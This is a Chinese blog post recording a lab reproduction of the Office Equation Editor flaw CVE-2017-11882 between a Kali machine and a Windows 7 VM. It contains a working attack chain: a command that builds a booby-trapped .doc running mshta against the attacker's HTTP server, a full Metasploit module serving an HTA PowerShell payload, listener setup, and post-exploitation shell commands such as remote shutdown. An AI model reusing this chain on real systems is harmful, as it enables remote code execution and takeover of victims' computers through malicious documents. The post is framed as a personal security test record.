Office隐藏17年的漏洞CVE_2017_11882测试记录

 

Office隐藏17年的漏洞CVE_2017_11882测试记录

创建时间: 2017/11/25 0:18
作者: CN_Simo
标签: Office漏洞

 

 
 
中间环节出现,msf连接数据库失败的情况,解决方法:https://www.cnblogs.com/justforfun12/p/5205804.html
 
1.制造条件
 
 
这里搭建两台虚拟机进行测试!
 
测试机配置信息:
 
操作系统
Win7_x64 企业版
Office版本
Office 2013
防火墙状态
开启
IP
192.168.1.103
系统语言
Chinese
 
 
操作系统
Kali 2.1 中文
IP
192.168.1.104
 
首先在kali下安装nginx,或者tomcat应该也是可以的,首先将生成的doc文件放在/usr/share/nginx/html目录下,方便被攻击的机器获取doc文件。
 
启动nginx服务:systemctl start nginx
 
使用Command43b_CVE-2017-11882.py生成doc文件
python Command43b_CVE-2017-11882.py -c "mshta http://192.168.1.104:8080/abc";; -o cev2.doc
# 将下载好的漏洞模块放在msf任意目录下
root@kali:/# mv cve_2017_11882.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/
cve_2017_11882.rb的内容如下:
##
# This module requires Metasploit: https://metasploit.com/download
##
class MetasploitModule  < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::HttpServer
  def initialize(info  = {})
    super(update_info(info,
      'Name' => 'Microsoft Office Payload Delivery',
      'Description' => %q{
        This module generates an command to place within
        a word document, that when executed, will retrieve a HTA payload
        via HTTP from an web server. Currently have not figured out how
        to generate a doc.
      },
      'License' => MSF_LICENSE,
      'Arch' => ARCH_X86,
      'Platform' => 'win',
      'Targets' =>
        [
          ['Automatic', {} ],
        ],
      'DefaultTarget' => 0,
    ))
  end
  def on_request_uri(cli, _request)
    print_status("Delivering payload")
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      ARCH_X86,
      'win',
      p.encoded,
      'hta-psh',
      { :arch => ARCH_X86, :platform => 'win '}
    )
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end
  def primer
    url = get_uri
    print_status("Place the following DDE in an MS document:")
    print_line("mshta.exe \"#{url}\"")
  end
 
然后,这里在使用msfconsole之前,需要先打开数据库,例如 service postgresql start 
打开数据库之后,进入msfconsole,然后对msf进行初始化,执行msf init
之后search cve_2017_11882搜索漏洞模块,然后按照【参考文章2】进行配置,最后 exploit 之后启动对 8080 端口的监听,至于为什么是8080端口我也不太清楚啊!
 
2.万事俱备,只欠东风
 
这个时候,只需要在 win7 上通过浏览器的到 cve2.doc文档,打开之后,kali中命令行立刻显示已经获取到了连接,
session命令得到回话,session -i 【id】建立连接
shell命令可以得到cmd,执行net user查看用户
 
3.实验效果
 
通过这个漏洞,可以肆无忌惮的执行一些命令,例如关机,删除一些文件,收集一些系统信息还是非常有用的
在桌面新建文件夹
远程关机
虽然获取到了命令行,但是通过net user命令可以看到登录的用户级别是Guest,这就限制了一些需要权限较高的命令执行!
而且这里win7没有安装杀软,我不知道安装杀软之后word文档会不会被查杀呢?
 

 

posted @   cxccc  阅读(1877)  评论(1编辑  收藏  举报
编辑推荐:
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
阅读排行:
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 分享 3 个 .NET 开源的文件压缩处理库,助力快速实现文件压缩解压功能!
· Ollama——大语言模型本地部署的极速利器
· DeepSeek如何颠覆传统软件测试?测试工程师会被淘汰吗?
点击右上角即可分享
微信分享提示